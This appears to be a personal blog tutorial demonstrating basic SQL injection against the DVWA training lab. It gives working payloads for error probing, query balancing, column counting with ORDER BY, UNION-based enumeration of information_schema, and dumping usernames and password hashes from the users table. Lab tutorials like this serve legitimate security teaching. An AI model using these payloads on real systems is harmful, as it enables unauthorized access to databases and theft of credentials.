Sitemap
vishal_the_engineer

vishal_the_engineer

MY NAME IS VISHAL I AM CYBER SECURITY RESEARCHER AND PENETRATION TESTER IN AGE OF 21 I BECAME THE HACKER

SQL INJECTION BASIC

5 min readNov 19, 2022

--

Before learning about SQL Injection, first setup DVWA Lab in kali linux As,

we will see practical demonstration of basic sql injection attacks

Get vishal_the_engineer’s stories in your inbox

Join Medium for free to get updates from this writer.

Let’s practical SQL Injection — Basics

Press enter or click to view image in full size
  • STEP 3 : Notice URL : http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit#
  • We will try our Injection Attack on id parameter
  • STEP 4 : Identify or Confirming SQL Injection
  • For this we use following characters to know if target is vulnerable to SQLi or not
  • ‘ “ ` / \ %27 # %23 etc
  • Now lets see
Press enter or click to view image in full size
  • We PUT ‘ : id=1’
  • Result : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’1'’’ at line 1
  • It’s mean Target is vulnerable to sql injection
  • STEP 5 : Balance SQL Query so that error went and we try our sql queries for further steps
  • we use this things :
  • ‘ — — -
  • ‘ — -+
  • ‘ — -+-
  • - -
  • ) — -
  • ) — — -
  • ) — -+
  • ‘) — — -
  • ‘ %23
  • ‘#
  • and so on
  • This we using — -
Press enter or click to view image in full size
  • No error mean balanced query
  • STEP 6 : Find Number of columns
  • SQLi Payloads for this :
  • ORDER By method
  • GROUP BY method
  • union select null method
  • Let’s use ORDER By method
  • order by 1 — -
Press enter or click to view image in full size
  • No Error : mean number of columns is more then 1
  • HEY, But I tried same payload for more then 1000 and same result
  • Now need to change payload little bit : 1 and order by 100 — — like that we can play
  • 1 and order by 10 — — -
Press enter or click to view image in full size
  • Still no error mean more then 10 columns
  • HEY, But I tried same payload for more then 1000 and same result
  • Now need to change payload little bit : 1 and order by 100 — — like that we can play
  • 1 and order by 10 — — -
Press enter or click to view image in full size
  • mean number of columns is less then 10
  • But still same problem : these result u see is not the correct result.
  • Because, its not showing : Unknown column error
  • So, now lets use correct payload : 1' order by 3#
Press enter or click to view image in full size
  • Now we got the correct result ⇒ its actual now telling that number of columns is less then 3
  • 1' order by 2#
Press enter or click to view image in full size
  • Now, we got to know that there is total number of columns : 2
  • I showed you these because you know how attackers actually testing targets , they also stuck while testing and find way to bypass this
  • STEP 7 : Find Vulnerable Columns : using UNION SELECT
  • Payload ⇒ 1' union select 1,2- — -
Press enter or click to view image in full size
  • So, we see both columns is our vulnerable columns and we can use our sql injection payload on both columns
  • STEP 8 : Find Database Version , Database information
  • Why we doing this ?
  • so that , we arrange our SQL Injection Payloads accordingly database version
  • as there are different Database Types like MySQL, Oracle,NoSQL, SQLite,MSSQL etc
  • So, different SQL Injection methods are there
  • Payloads : 1' union select database(), version()- — -
Press enter or click to view image in full size
  • We see : database is dvwa and version is 10.1.26-MariaDB-0+deb9u1
  • MariaDB : so we know backend version using MySQL
  • So, we can try our SQL Injection payloads which is related to MySQL only
  • STEP 9 : Now, time to extract useful information : like tables, columns for sensitive information like username and password
  • Payload : 1' union select table_name,2 from information_schema.tables where table_schema=database()- — -
Press enter or click to view image in full size
  • We see : there is table name : users : now we need to extract data from users table
  • Payload : 1' union select column_name,2 from information_schema.columns where table_name=’users’- — -
Press enter or click to view image in full size
  • So, there is columns : user_id, first_name, last_name, user, password and many more
  • Our important thing to use is : user and password columns in users table
  • Now need to extract these details
  • Payload : 1' union select concat(user,0x3a,password),2 from users- — -
Press enter or click to view image in full size

So, we got all the important details from there like password for all the users now we can login there using those information

REMEMBER : We can do lots of things with sql injection

Like from SQLi we can gain system shell access, etc

ARTICLE WRITTEN BY (ENGINEER)

--

--

vishal_the_engineer
vishal_the_engineer

Written by vishal_the_engineer

MY NAME IS VISHAL I AM CYBER SECURITY RESEARCHER AND PENETRATION TESTER IN AGE OF 21 I BECAME THE HACKER